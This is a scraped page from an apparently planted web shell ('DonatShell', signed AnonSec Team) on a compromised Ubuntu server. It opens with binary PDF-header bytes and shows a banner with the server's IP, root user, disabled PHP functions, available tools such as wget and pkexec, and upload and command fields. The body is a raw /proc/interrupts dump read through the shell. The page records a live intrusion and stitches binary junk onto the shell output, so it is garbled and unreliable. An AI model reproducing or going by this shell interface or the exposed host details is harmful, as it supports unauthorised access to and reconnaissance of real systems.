%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/proc/self/root/proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
   0:         40          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    2-edge      timer
   8:          1          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    8-edge      rtc0
   9:          3          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    9-fasteoi   acpi
  18:        155          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC   18-fasteoi   ehci_hcd:usb1, ehci_hcd:usb2
  25:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 16384-edge      PCIe PME
  26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 32768-edge      PCIe PME
  27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 49152-edge      PCIe PME
  28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 458752-edge      PCIe PME, pciehp
  29:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 460800-edge      PCIe PME
  30:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 462848-edge      PCIe PME
  31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 464896-edge      PCIe PME
  33:        963          0        878          0       1672          0        647          0        223          0        311          0       4744          0        669          0        172          0      12957          0        505          0        760          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524288-edge      megasas
  34:          0       3270        736          0        263          0       2404          0      10886          0        272          0       2024          0         98          0       3866          0      12233          0         66          0        895          0      12415          0          0          0        847          0       4407          0  IR-PCI-MSI 524289-edge      megasas
  35:          0          0      28266          0        799          0       4935          0       1610          0       2705          0        141          0       6736          0        609          0      10537          0        532          0          0          0      38030          0      55380          0     165539          0          0          0  IR-PCI-MSI 524290-edge      megasas
  36:          0          0         39        353          0          0        554          0         14          0          0          0       7415          0          0          0         70          0          0          0         37          0       2303          0          0          0          0          0         60          0       8220          0  IR-PCI-MSI 524291-edge      megasas
  37:          0          0       5709          0       8951          0       3663          0       3380          0       1045          0        873          0       7111          0       1581          0       9978          0        530          0       7022          0       4284          0      15736          0          0          0       3081          0  IR-PCI-MSI 524292-edge      megasas
  38:          0          0        274          0        164        474          0          0        122          0          0          0          0          0          0          0         10          0          0          0          0          0          0          0         17          0          0          0      15807          0       1547          0  IR-PCI-MSI 524293-edge      megasas
  39:          0          0       5398          0       4280          0      20993          0       1188          0        808          0       2280          0      15880          0          0          0       5373          0       3232          0       9356          0      19383          0       1724          0       1286          0          0          0  IR-PCI-MSI 524294-edge      megasas
  40:          0          0        146          0        254          0        627        514         25          0         70          0          0          0        876          0       2453          0       5929          0         16          0       7976          0        228          0          0          0          0          0       1307          0  IR-PCI-MSI 524295-edge      megasas
  41:          0          0        373          0        403          0       2989          0       1082          0          0          0      24857          0         83          0      16541          0       4144          0         97          0        803          0         27          0          0          0          0          0       6815          0  IR-PCI-MSI 524296-edge      megasas
  42:          0          0        199          0         20          0        461          0          0       1129          6          0         95          0        456          0      10987          0       1883          0          0          0        833          0          1          0          0          0          0          0       8791          0  IR-PCI-MSI 524297-edge      megasas
  43:          0          0        975          0         77          0       1167          0       1555          0        315          0       1094          0       2831          0       8353          0          0          0        253          0          0          0       1776          0       1754          0       2282          0       5985          0  IR-PCI-MSI 524298-edge      megasas
  44:          0          0        417          0        242          0        642          0       3735          0        141        320        223          0        232          0          5          0       1020          0         64          0          0          0        708          0          0          0      12665          0          0          0  IR-PCI-MSI 524299-edge      megasas
  45:          0          0       1142          0         50          0        342          0       7985          0       1027          0       6188          0        212          0         14          0       4696          0        217          0          0          0        711          0      81563          0        954          0          0          0  IR-PCI-MSI 524300-edge      megasas
  46:          0          0          0          0          0          0        146          0          3          0          0          0         11        183          0          0        191          0       4904          0          0          0       4421          0       7644          0          0          0       1731          0          0          0  IR-PCI-MSI 524301-edge      megasas
  47:          0          0       2818          0         39          0       3829          0       2406          0        173          0       1029          0       1993          0       3958          0      11936          0       1279          0      19213          0        550          0          0          0         51          0       3508          0  IR-PCI-MSI 524302-edge      megasas
  48:          0          0        728          0         94          0       5924          0        756          0        398          0        321          0          0       3394        396          0          0          0        851          0       2762          0       1060          0          0          0       5541          0        959          0  IR-PCI-MSI 524303-edge      megasas
  49:          0          0          0          0          0          0        991          0         91          0          0          0        285          0          0          0       1294          0       4401          0          0          0          5          0        111          0          0          0          0          0      61074          0  IR-PCI-MSI 524304-edge      megasas
  50:          0          0       1423          0        128          0       1837          0         10          0         29          0       1324          0         45          0        953        356        838          0         43          0          0          0        998          0        363          0       3603          0          0          0  IR-PCI-MSI 524305-edge      megasas
  51:          0          0      40236          0        125          0       4110          0        752          0       1347          0        123          0      14791          0        628          0      14415          0       3964          0      13846          0      49162          0       3477          0       1406          0       1700          0  IR-PCI-MSI 524306-edge      megasas
  52:          0          0        919          0         96          0        114          0         26          0        421          0       1891          0          0          0        674          0       2762        228        123          0       2462          0          0          0          0          0         63          0        430          0  IR-PCI-MSI 524307-edge      megasas
  53:          0          0      31576          0         49          0      36497          0         80          0        726          0     124433          0        236          0        575          0      50677          0       3365          0     109844          0        188          0          0          0      60920          0          0          0  IR-PCI-MSI 524308-edge      megasas
  54:          0          0        757          0          0          0        266          0         46          0          0          0          0          0        642          0         22          0       3771          0        183         16          0          0       1546          0          0          0        702          0       2337          0  IR-PCI-MSI 524309-edge      megasas
  55:          0          0          0          0       2105          0       7632          0          2          0          0          0       1757          0        733          0      91208          0      33139          0         23          0        245          0          0          0          0          0      21756          0          0          0  IR-PCI-MSI 524310-edge      megasas
  56:          0          0       1182          0          0          0        794          0         96          0        338          0        657          0         43          0        117          0          0          0         45          0       3191        382       1045          0       2456          0          0          0          0          0  IR-PCI-MSI 524311-edge      megasas
  57:          0          0       7337          0        155          0        162          0        242          0         14          0        158          0          0          0          0          0          0          0        269          0      40798          0      51754          0          0          0          0          0          0          0  IR-PCI-MSI 524312-edge      megasas
  58:          0          0        669          0       1306          0       1384          0         49          0          1          0        291          0          2          0       4132          0          0          0        110          0       1129          0        636        101          0          0          0          0          0          0  IR-PCI-MSI 524313-edge      megasas
  59:          0          0       2749          0        616          0       3077          0       2805          0        378          0       6482          0        469          0         51          0       3234          0       1495          0      23376          0       9602          0       7388          0          0          0       4270          0  IR-PCI-MSI 524314-edge      megasas
  60:          0          0         31          0          0          0         15          0         37          0          0          0         35          0       2826          0          0          0       3212          0         33          0          0          0          0          0       6530        120          0          0          0          0  IR-PCI-MSI 524315-edge      megasas
  61:          0          0      19167          0        777          0      17247          0       2917          0        888          0        860          0       3375          0       4543          0      42587          0       9285          0      25312          0       5719          0          0          0         13          0          0          0  IR-PCI-MSI 524316-edge      megasas
  62:          0          0       1028          0        213          0        518          0         94          0        118          0          0          0       2932          0          0          0          0          0        228          0       1127          0        567          0          0          0       4597        157          0          0  IR-PCI-MSI 524317-edge      megasas
  63:          0          0       8416          0       1465          0       2117          0       6394          0        777          0       1173          0        290          0        102          0      22100          0       5957          0       2998          0       1791          0         10          0       4462          0         51          0  IR-PCI-MSI 524318-edge      megasas
  64:          0          0        287          0        103          0       1138          0       3010          0          0          0          0          0          0          0          5          0       1939          0        222          0          4          0          0          0          0          0       4322          0          0         37  IR-PCI-MSI 524319-edge      megasas
  65:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 286720-edge      0000:00:11.4
  66:         83          0       1627          0       3874          0      20181          0       3145          0        439          0          0          0      30917          0         98          0      15366          0       2347          0      26382          0       3027          0          0          0       3164          0        136          0  IR-PCI-MSI 512000-edge      0000:00:1f.2
  67:        228          0          0          0          0          0          0          0          0          0   15292168          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048576-edge      eno1-tx-0
  68:         41          0     285628          0    2022810          0       6447          0    2378903          0          0          0          0          0          0          0          0          0          0          0      66933          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048577-edge      eno1-rx-1
  69:        212          0    1686769          0          0          0    2007699          0     876692          0          0          0          0          0          0          0          0          0          0          0       8990          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048578-edge      eno1-rx-2
  70:         35          0     382253          0    1912892          0     854738          0      51287          0          0          0          0          0          0          0          0          0          0          0     926454          0          0          0     557625          0          0          0          0          0          0          0  IR-PCI-MSI 1048579-edge      eno1-rx-3
  71:         72          0    1472302          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0    5129170          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048580-edge      eno1-rx-4
  72:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    0-edge      dmar0
  73:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    1-edge      dmar1
 NMI:        374        363        764        288        770        277        692        273        679        273        441        264        378        257        365        254        141         93        142        120       1138        106        163         97        196         97        153         93        146         98        139         93   Non-maskable interrupts
 LOC:    5258993    5238312   11375544    4665739    9829636    4616516   10426675    4351736    9680877    4256822    6265162    4431426    5726674    4128629    5312141    4154737    2400069    2730851    2444603    3201633   17755015    3048060    3369711    2759522    3848650    2709996    2877814    2682879    2735045    2686015    2532522    2667162   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:        374        363        764        288        770        277        692        273        679        273        441        264        378        257        365        254        141         93        142        120       1138        106        163         97        196         97        153         93        146         98        139         93   Performance monitoring interrupts
 IWI:          3          1          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0          0          0   IRQ work interrupts
 RTR:         29          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:    4393874     806259    1325152     325868    1481893     199345     922097     151622     729652     128551     441419     118352     331879     107057     268235     100786      86724      76715     184865     107633    1369734      82810     167245      73026     213657      68930     142796      69020      90586      69004      76379      66517   Rescheduling interrupts
 CAL:     346368     371445     427309     294139     364812     295287     413242     303217     384258     305908     366750     293988     352311     294516     346629     297367     119255      53574     115681      62796     357842      58687     115665      52130     112299      52526     111259      59771     116266      60902     119812      55836   Function call interrupts
 TLB:     339341     308128     419315     268871     358628     270594     405820     276775     378437     275518     359854     266873     345357     268777     339733     270904     113067      36043     109246      46646     350648      42242     109333      36119     105922      36747     105086      40987     109914      43365     113543      38735   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757        757   Machine check polls
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Anon7 - 2022
AnonSec Team